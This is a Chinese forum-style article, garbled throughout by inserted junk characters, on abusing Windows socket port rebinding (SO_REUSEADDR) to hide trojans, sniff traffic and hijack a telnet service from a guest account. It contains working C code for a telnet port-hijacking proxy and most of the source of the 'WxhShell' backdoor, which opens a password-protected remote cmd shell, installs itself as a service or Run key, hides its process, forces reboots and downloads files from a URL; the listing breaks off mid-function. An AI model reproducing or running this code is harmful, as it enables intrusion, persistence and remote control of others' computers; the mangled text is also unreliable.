在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
oRFq@g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ok[i<zl;' 1x)J[fyId saddr.sin_family = AF_INET;
sx%[=g+<2( D-c4EV saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6<]lW
2iOV/=+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Z r8*et y `UaB3q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
q'DW~!>qX BLttb 这意味着什么?意味着可以进行如下的攻击:
R5D1w+ XUYtEf 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
pkzaNY/q x4 yR8n( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
pb}*\/s \bcLiKE{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
KwS@D9bok tc! #wd+u 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
uYN`:b8 WLT"ji0w2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
TxD#9]Q` 2 nCA<& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$]d^-{| E
fDH6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6N4~~O \85i+q:LuA #include
gJXaPJA{ #include
+rd+0 `}C #include
V&5wRz+`W #include
= [E DWORD WINAPI ClientThread(LPVOID lpParam);
oxs#866x int main()
?
k /` {
@5FQX WORD wVersionRequested;
A&VG~r$ DWORD ret;
KPF1cJ2N WSADATA wsaData;
!zo{tI19 BOOL val;
a9gLg
& SOCKADDR_IN saddr;
CrLrw T SOCKADDR_IN scaddr;
^sw?gH* int err;
EwN}l SOCKET s;
0S"MC9beg SOCKET sc;
s_Sk0}e int caddsize;
;TYBx24vD' HANDLE mt;
K-4PI+qQ\ DWORD tid;
_b 0&!l<
wVersionRequested = MAKEWORD( 2, 2 );
n S=W 1zf err = WSAStartup( wVersionRequested, &wsaData );
UNYqft4 if ( err != 0 ) {
#e"[^_C@! printf("error!WSAStartup failed!\n");
XSRsGTCC= return -1;
AH^/V}9H }
I,tud!p` saddr.sin_family = AF_INET;
{FkF &Jj<h: * //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/wp6KXm `3pW]&
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'DR!9De saddr.sin_port = htons(23);
eFgA 8kY) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7dWS {
,bi^P>X printf("error!socket failed!\n");
P0@,fd< return -1;
TbU#96"~. }
A^g(k5M* val = TRUE;
dN q$} //SO_REUSEADDR选项就是可以实现端口重绑定的
h{Y",7]! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
D7Z /H'| {
gdc<ZYcM printf("error!setsockopt failed!\n");
7#Ft|5$~q return -1;
&d!GImcxQ }
*@5 @,=d //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=bOW~0Z1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
)`:UP~)H //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]Ze1s02( )7F/O3Tq if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0kh6@y3 {
M%HU4pTW#o ret=GetLastError();
q~3>R=t printf("error!bind failed!\n");
ye&;(30Oq return -1;
=cI(d , }
P
pb\6|* listen(s,2);
fhiM U8(& while(1)
V
gWRW7Se {
Ml_^
`vn caddsize = sizeof(scaddr);
o-5TC //接受连接请求
!L(^(;$Kgr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Cdn J&N{ if(sc!=INVALID_SOCKET)
u9e@a9c {
K+eM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
[0!( xp^ if(mt==NULL)
01]f2.5 {
K-v#.e4 printf("Thread Creat Failed!\n");
D*jM1w_` break;
pi(m7Ci" }
q9"96({\@ }
i1UsIT CloseHandle(mt);
e'~3oqSvR }
Q,g\ closesocket(s);
dO'(2J8 WSACleanup();
{: /}NpA$ return 0;
?uu*L6 }
aE8VZ8tvq DWORD WINAPI ClientThread(LPVOID lpParam)
Dt@SqX:~Ee {
Nn6%9PX_) SOCKET ss = (SOCKET)lpParam;
}jXfb@`K SOCKET sc;
x2xRBkRg= unsigned char buf[4096];
ES[G SOCKADDR_IN saddr;
6nn*]|7 long num;
itz,mrP DWORD val;
("KF'fp&M2 DWORD ret;
|!ELV7?( //如果是隐藏端口应用的话,可以在此处加一些判断
"oyo#-5z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
wwqEl( saddr.sin_family = AF_INET;
Wtnfa{gP% saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
F?0Ykjh3 saddr.sin_port = htons(23);
OUnA;_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pa+hL,w{6 {
#!=tDc
& printf("error!socket failed!\n");
VbYdZCC return -1;
ZJoM?g~WFI }
}f ?y*
H val = 100;
mH(:?_KrS- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zLQx%Yg! {
}MySaL> ret = GetLastError();
w0.
u\ return -1;
+ {]j]OP }
k$Vl fQ'+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]Ljf?tk {
UKGPtKE< ret = GetLastError();
K/$KI7P return -1;
q.vIc
?a }
Cp N>p.kM if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Wwo0%<2y {
e-;}366} printf("error!socket connect failed!\n");
JF]JOI6.e closesocket(sc);
sOY:e/_F closesocket(ss);
+@UV?"d return -1;
9r9NxKuAO }
}p
V:M{Nu& while(1)
/
{%%"j {
y =@N|f! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ZSw.U:ep$s //如果是嗅探内容的话,可以再此处进行内容分析和记录
6)J#OKZ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
st*gs-8jJ; num = recv(ss,buf,4096,0);
\8tsDG(1 ' if(num>0)
pg.%Pdr<$ send(sc,buf,num,0);
)oZ dj` else if(num==0)
"@kaHIf[ break;
f$( e\++ num = recv(sc,buf,4096,0);
6!o1XQr=Z if(num>0)
hTkyz
la send(ss,buf,num,0);
jPeYmv] else if(num==0)
<@}9Bid!o break;
bt *k.=p }
_F{C\} closesocket(ss);
~&O%N closesocket(sc);
=N@t'fOr return 0 ;
}]TxlSp!; }
I fir ,8 INf&4!&h CLSK'+l ==========================================================
Xj*Wu_ hZ3bVi)L\ 下边附上一个代码,,WXhSHELL
E`q_bn #$vEGY}1 ==========================================================
8L XHk l :gT4K-Oj #include "stdafx.h"
6~{C.No} zDp 2g) #include <stdio.h>
Z)!C'c b #include <string.h>
J4utIGF #include <windows.h>
:N@^?q{b #include <winsock2.h>
z#N@ 0R #include <winsvc.h>
3T
9j@N77 #include <urlmon.h>
^8tEach C~[,z.FvO #pragma comment (lib, "Ws2_32.lib")
lr?;*f^3
#pragma comment (lib, "urlmon.lib")
SuznN
L=/$ Cw%{G'O #define MAX_USER 100 // 最大客户端连接数
E]6
6]+;0_ #define BUF_SOCK 200 // sock buffer
.hiSw #define KEY_BUFF 255 // 输入 buffer
-di o5a 0c&+|>! #define REBOOT 0 // 重启
o
K@"f9 #define SHUTDOWN 1 // 关机
VL^EHb7 d _
e WcI #define DEF_PORT 5000 // 监听端口
Q\)F;: | 'yth'[ #define REG_LEN 16 // 注册表键长度
B *vM0 #define SVC_LEN 80 // NT服务名长度
$(9U @N9E !W0v >p // 从dll定义API
A
>$I
-T+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+"(jjxJm typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
!BI;C(,RL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\9d$@V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
yVc(`,tZ( "KlwA.7/ // wxhshell配置信息
_ m>b2I? struct WSCFG {
"L1Zi.) int ws_port; // 监听端口
d3Rw!slIq char ws_passstr[REG_LEN]; // 口令
':W[ A int ws_autoins; // 安装标记, 1=yes 0=no
HDKbF/ char ws_regname[REG_LEN]; // 注册表键名
] - .aL char ws_svcname[REG_LEN]; // 服务名
b[yiq$K/ char ws_svcdisp[SVC_LEN]; // 服务显示名
7rA;3?p) char ws_svcdesc[SVC_LEN]; // 服务描述信息
y]imZ4{/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_U0f=m int ws_downexe; // 下载执行标记, 1=yes 0=no
{!`4iiF char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M;NX:mX9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
6RM/GM C?Ucu]cW };
X.V~SeS __@BUK{ q // default Wxhshell configuration
YP9^Bp{0 struct WSCFG wscfg={DEF_PORT,
9cgUT@a "xuhuanlingzhe",
zJXplvaL;
1,
C>~TI,5a3 "Wxhshell",
/> Nt[o[r "Wxhshell",
s(^mZ
-i "WxhShell Service",
R4@6G&2d> "Wrsky Windows CmdShell Service",
^(<f/C)i "Please Input Your Password: ",
@KA4N` 1,
V:27)]q "
http://www.wrsky.com/wxhshell.exe",
S$k&vc(0 "Wxhshell.exe"
+{>=^9%X };
fLVAKn ^GX)Z~ // 消息定义模块
DN/YHSYK char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
a>)f=uS char *msg_ws_prompt="\n\r? for help\n\r#>";
w:l"\Tm char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
W`&hp6Jq char *msg_ws_ext="\n\rExit.";
P&q7|ST%N char *msg_ws_end="\n\rQuit.";
cFv8 Od char *msg_ws_boot="\n\rReboot...";
qVPeB,kIz char *msg_ws_poff="\n\rShutdown...";
rbQR,Nf2x char *msg_ws_down="\n\rSave to ";
<1pEwI~ }i2V.tVB- char *msg_ws_err="\n\rErr!";
E e]-qN*8 char *msg_ws_ok="\n\rOK!";
B;WCTMy} q9NoI(]e char ExeFile[MAX_PATH];
_FEFx int nUser = 0;
Nluoqoac HANDLE handles[MAX_USER];
X@f}Q`{Ymj int OsIsNt;
2[CdZ(k]5 iO[<1? SERVICE_STATUS serviceStatus;
I l.K"ll SERVICE_STATUS_HANDLE hServiceStatusHandle;
>f'g0g &/b~k3{M_ // 函数声明
MPk5^ua: int Install(void);
rs.M]8a2{& int Uninstall(void);
6^Sa; int DownloadFile(char *sURL, SOCKET wsh);
XlJZhc int Boot(int flag);
\?N2=jsu$ void HideProc(void);
- YV>j int GetOsVer(void);
.mAjfP* int Wxhshell(SOCKET wsl);
}&e5$lB void TalkWithClient(void *cs);
Z6pUZ[j, int CmdShell(SOCKET sock);
Bj~+WwD)QR int StartFromService(void);
8Eq7Sa int StartWxhshell(LPSTR lpCmdLine);
EzIGz[ i LAscb VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
TPY}C VOID WINAPI NTServiceHandler( DWORD fdwControl );
rbpSg7}Q :ivf/xn // 数据结构和表定义
j=J/x:w_e SERVICE_TABLE_ENTRY DispatchTable[] =
?rIx/>C9 {
!a<ng&H^U {wscfg.ws_svcname, NTServiceMain},
H.2QKws^F {NULL, NULL}
J$!iq| };
'{`$#@a. $kKjgQS( // 自我安装
eY\yE"3 int Install(void)
f9;(C4+ {
xvy.=( char svExeFile[MAX_PATH];
}{"fJ3] c^ HKEY key;
4e1Y/
Xq` strcpy(svExeFile,ExeFile);
]fD}
^s3G 8*fv' // 如果是win9x系统,修改注册表设为自启动
HKr
Mim- if(!OsIsNt) {
:c[L3rJl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%[yJ4WL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9S -9.mvop RegCloseKey(key);
Q^(b)>?r; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Yrn)VV[)h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\15nSB RegCloseKey(key);
{V-v-f return 0;
`p7=t)5k }
V!dtF,tH }
][] }
2|bn(QYz else {
u4_9)P`]0 WT}H>T // 如果是NT以上系统,安装为系统服务
H4JTGt1" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
l (%1jC8 if (schSCManager!=0)
JLJ;TM'4= {
"Yca%: SC_HANDLE schService = CreateService
@]#1(9P (
w-{c.x schSCManager,
p"Z-6m~ wscfg.ws_svcname,
eN~=*Mn(za wscfg.ws_svcdisp,
3{h_&Gbo'D SERVICE_ALL_ACCESS,
!L8#@BjU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$pudoAO SERVICE_AUTO_START,
}{<
'8J.R SERVICE_ERROR_NORMAL,
So
5N5,u@= svExeFile,
PY0j9$i? NULL,
o+9j?|M NULL,
[=_jYzD,j| NULL,
Jq^T1_iqn NULL,
r)6M!_]AW NULL
$2el&I );
;ZG\p TCA if (schService!=0)
y|q3Wa {
?NP1y9Y]i CloseServiceHandle(schService);
rc>6.sM
% CloseServiceHandle(schSCManager);
\B
7tX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)];K .zP strcat(svExeFile,wscfg.ws_svcname);
5P$4 =z91 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Ip]KPrwp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
(%:c#;# RegCloseKey(key);
9<)NvU^-r return 0;
(Clkv }
4 N7^? }
eNu7~3k} CloseServiceHandle(schSCManager);
Jdp3nzM^^@ }
++#5 }
{GcO3G#FZ ,i@:5X/t return 1;
Z87|Zl }
>6pf$0 Zoc0!84<z // 自我卸载
EUgs6[w 4 int Uninstall(void)
zZC9\V}R {
V,?yPi$#E HKEY key;
-FlzEZ "2T#MO/ if(!OsIsNt) {
bnLPlf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7(
2{'r RegDeleteValue(key,wscfg.ws_regname);
Y7[jqb1D RegCloseKey(key);
-\n@%$M]G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'oC)
NpnH RegDeleteValue(key,wscfg.ws_regname);
_H=Uwi_g RegCloseKey(key);
~BkCp pI return 0;
g
SAt@2*U2 }
U~l$\c }
[R7Y}k:9U }
s&!a else {
'-/xyAzS -8rjgB~."/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
aCLq k' if (schSCManager!=0)
mju>>\9 {
LRMx<X8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
:TC@tM~Oy if (schService!=0)
NL0n009"c$ {
QS]1daMIK< if(DeleteService(schService)!=0) {
}<y7bqA CloseServiceHandle(schService);
+|>kCtZH% CloseServiceHandle(schSCManager);
d6sye^P return 0;
{Fe[:\ }
-{vKus CloseServiceHandle(schService);
+V^;.P</ }
oD1/{dRzj CloseServiceHandle(schSCManager);
[bNx^VP* }
bB;5s`- }
r!a3\ep H_<C!OgR return 1;
f &wb }
L4|`;WP Z@@K[$ // 从指定url下载文件
fn6J*[` int DownloadFile(char *sURL, SOCKET wsh)
Ziu]'# {
?vHU# HRESULT hr;
:+|Z@KB char seps[]= "/";
[o5Hl^ char *token;
A4<Uu~ char *file;
m&?r%x char myURL[MAX_PATH];
%zw1}|s#z char myFILE[MAX_PATH];
>q1L2',pK -701j'q{ strcpy(myURL,sURL);
GU8sO@S5# token=strtok(myURL,seps);
!V g` while(token!=NULL)
@Sbe^x {
*lw_=MXSK file=token;
<)-Sj, token=strtok(NULL,seps);
n%s]30Xs }
"?I y (*^
2WVka GetCurrentDirectory(MAX_PATH,myFILE);
(<oyN7NT strcat(myFILE, "\\");
?r 2` Q strcat(myFILE, file);
LRG6:& send(wsh,myFILE,strlen(myFILE),0);
"s_lP&nq send(wsh,"...",3,0);
-JjM y X hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`&sH-d4v if(hr==S_OK)
E5lBdM>2 return 0;
/U)D5ot< else
*m,k(/> return 1;
Nf"r4%M<6 <=0
u2~E }
`eCo~(Fy 8- %TC\: // 系统电源模块
sCb=5uI int Boot(int flag)
Ab"@714@ {
xzZ38xIhV HANDLE hToken;
o;R2p $ TOKEN_PRIVILEGES tkp;
hL;(C)( j*jo@N| if(OsIsNt) {
}\:NuTf OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
G&V/Gj8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
iBgx tkp.PrivilegeCount = 1;
"z=SO1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[>%xd)8.c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Om@C
X<(9C if(flag==REBOOT) {
:GP]P^M;G@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ApV~(k)W return 0;
~C`^6UQr/? }
4'A!; ]: else {
2=`o_<P'" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
)MchsuF< return 0;
}n2M G }
`Kr,>sEAM }
;^%4Q" else {
^R
Fp8w( if(flag==REBOOT) {
0dhaAq`k if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
usCt#eZK return 0;
aV|hCN~ }
LS*y else {
AKyUfAj3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a (b# return 0;
lqZ 5?BD1 }
m?fy^>1
}
ZR?yDgL ?Yk.$90 return 1;
=4PV;>X }
?D*/*Gk{ /+;h)3PN6 // win9x进程隐藏模块
g8xQ|px void HideProc(void)
=U|.^5sa# {
VAf1 " )pC ;he"ph=> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^xh ; if ( hKernel != NULL )
LNpup`>` {
#32"=MfQn pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
-pGE]nwDL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
$#S&QHyEe FreeLibrary(hKernel);
P} SCF }
SO(NVJh _FVcx7l!u return;
v+`N*\J_ }
pDIVZC u TK,& // 获取操作系统版本
k+C zj int GetOsVer(void)
8b-Q F
{
A?%H=>v$ OSVERSIONINFO winfo;
4.=3M winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
cy3B({PLy GetVersionEx(&winfo);
cKim- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
K3;nY}\> return 1;
sOJQ,"sB else
!&/{E
[ return 0;
*HO}~A%Lx }
CcFn.omA 3.W@ } // 客户端句柄模块
.my0|4CQ#@ int Wxhshell(SOCKET wsl)
_:C9{aEZb {
DhT>']Z SOCKET wsh;
v` 7RCg` struct sockaddr_in client;
\cUNsB5 DWORD myID;
4/1d&Sg WP+oFkw> while(nUser<MAX_USER)
f Tl<p&b {
,:H\E|XeBw int nSize=sizeof(client);
FUOI3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
b6F4>@gjg if(wsh==INVALID_SOCKET) return 1;
^1aAjYFn ReI/]#Us handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
hKjt'N:~ZY if(handles[nUser]==0)
s6zNV4 closesocket(wsh);
`_{`l4i5 else
J}+6UlD nUser++;
"a1n_>#Fb }
6&l+0dq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
rIhl.5Y Nkl_Ho, return 0;
@$c\dvO }
W"'iIh)z
` !l 1fIc // 关闭 socket
F\k+[`%{ void CloseIt(SOCKET wsh)
hn=[1<#^( {
5v}8org closesocket(wsh);
Vq;A>
nUser--;
wl$h4 {L7 ExitThread(0);
Y2SJ7 }
0[*qY@m:Z q+]h=:5=I // 客户端请求句柄
^(h+URFpA void TalkWithClient(void *cs)
I*kK 82 {
%r6y
;vAf xA$nsZ] SOCKET wsh=(SOCKET)cs;
"7V2lu char pwd[SVC_LEN];
:8+Ni d) char cmd[KEY_BUFF];
1/-43B char chr[1];
)ZqJh int i,j;
#w-xBM
@ tAte)/0C while (nUser < MAX_USER) {
lh D,\3/O 9Fm"ei if(wscfg.ws_passstr) {
q**G(}K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D]~MC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_DNHc* //ZeroMemory(pwd,KEY_BUFF);
j;3[KLmuK% i=0;
o1Q7Th while(i<SVC_LEN) {
fasgmi} Qx47l // 设置超时
6 9NQ]{1 fd_set FdRead;
$K'|0 struct timeval TimeOut;
EEZw_ 1 FD_ZERO(&FdRead);
Yf~{I-|`q FD_SET(wsh,&FdRead);
@kU@N?5e TimeOut.tv_sec=8;
eI:C{0p= TimeOut.tv_usec=0;
xz{IH,?IG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)Ocl=H|= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Gz[fG G\Ro}5TO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Bw64 pwd
=chr[0]; ?Ovqp-sw
if(chr[0]==0xd || chr[0]==0xa) {
$g+[yb7@
pwd=0; 5N*Ux4M
break; 7=OQ8IM!
} H4!+q:<
i++; /E5 5Pec
} ^:* 1d
\
?Wt$6{)
// 如果是非法用户,关闭 socket pd8Nke
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R@#G>4
} JPWOPB'H
~JDnKo
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `zt_7MD
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vy,^)]
;~u{56
while(1) { 9>rPe1iv
%T9 sz4V
ZeroMemory(cmd,KEY_BUFF); DHT&,=
TdGnf
// 自动支持客户端 telnet标准 BQ2wnGc
j=0; #\ n8M
while(j<KEY_BUFF) { -x4X O`b
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lF?tQB/a
cmd[j]=chr[0]; g{9+O7q
if(chr[0]==0xa || chr[0]==0xd) { v\"S
Gc
cmd[j]=0; [mr9(m[F
break;
ld7v3:M
} R
&4Z*?S
j++; +@K09ge
} )){9&5,0:
IMl!,(6;
// 下载文件 ^~HQC*
if(strstr(cmd,"http://")) { ?EK?b
s
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~ Yngkt
if(DownloadFile(cmd,wsh)) I1>N4R-j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^T,Gu-2>
else H'UR8%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T,OwM\`.X{
} rf%7b8[v
else { \VFHHi:I
W|,V50K
switch(cmd[0]) { 5pRV3K{H
j]m|7]
// 帮助 ed_FiQd
case '?': { zb
Z4|_
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'vaLUy9]
break; _:B1_rz7,
} okFvn;
// 安装 T'aec]u
case 'i': { @(i!YL
if(Install()) {?}*1,I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *8tI*Pus
else cFF*Z=L_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 79yd&5#e?
break; 5+jf/}tA
} +/;*|
// 卸载 zn@N'R/
case 'r': { (x$9~;<S*d
if(Uninstall()) |fY/i]
Ax
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KB!|B.ChN(
else ;eZ#b jw-d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ep4Hqx $
break; FHPXu59u
} !HJ$UG/\
// 显示 wxhshell 所在路径 )I-f U4?
case 'p': { 7 #=}:3c
char svExeFile[MAX_PATH]; A=-F,=k(!/
strcpy(svExeFile,"\n\r"); gxGrspqg
strcat(svExeFile,ExeFile); kzS=g|_
send(wsh,svExeFile,strlen(svExeFile),0); U70]!EaT
break; PSmfiaThwo
} 0G2g4DSKD
// 重启 Zf>^4_x3P
case 'b': { (?b@b[D~4
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sfVf@0g
if(Boot(REBOOT)) }Y17*zp%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xyE1Gw`V
else { L~^*u_U]
closesocket(wsh); M-uMZQe
ExitThread(0); lRP1&FH0
} B,(Heg
break; U`x bPQ
}
Q\3 Z|%
// 关机 1Fi86
case 'd': { qJ_1*!!91
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Sm2>'C
if(Boot(SHUTDOWN)) 8Z2.`(3c[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X+n`qiwq
else { *}):<nB$^
closesocket(wsh); TjBY
4
ExitThread(0); <[/%{sUNC
} Zzl,gy70
break; -)y%~Zn
} ib0g3p-Lc
// 获取shell #9LzY
case 's': { swc@34ei\
CmdShell(wsh); cDXsi#Raj
closesocket(wsh); gX?n4Csy'
ExitThread(0); v}v 5
break; m!OMrZ%)}
} \BI/G
// 退出 |k{-l!HI
case 'x': { ?Jtg3AY
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =qvZpB7ZZ
CloseIt(wsh); w h$jr{
break; i(6J>^I
} Kt.~aaG_
// 离开 ;#G%U!p
case 'q': { :'r6TVDW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /MOnNnV
closesocket(wsh); !1uzX
Kb
WSACleanup(); [[)_BmS5r
exit(1); <Jp1A#
%p
break; fj'jNE
} NgB 7?]vu
} IGAzE(
} 4o9$bv
I2HT2c$
// 提示信息 Cj;/Uhs
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rFL$QC2
} 396R$\q
} wX'}4Z=C~
8Vt4HD 08
return; qSO*$1i
} 5QWNZJ&}d
,dd WBwMK
// shell模块句柄 aN^IP
int CmdShell(SOCKET sock) hGP1(pH.
{ Vul+]h[!h
STARTUPINFO si; q3'o|pp
ZeroMemory(&si,sizeof(si)); 0d\~"4 R
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |Zq\GA
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xNN@ 1P[*
PROCESS_INFORMATION ProcessInfo; hWcTI{v
char cmdline[]="cmd"; i.rU&yT%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z4}
%TT@^
return 0; hPufzhT
} D(r:}pyU
G"S5ki`o
// 自身启动模式 Kv+Bfh
int StartFromService(void) e4qj .b
{ ibF#$&!
typedef struct En9R>A;`
{ %3a|<6
DWORD ExitStatus; :LV.G0)#
DWORD PebBaseAddress; <Ns &b.\h6
DWORD AffinityMask; >v0 :qN7|
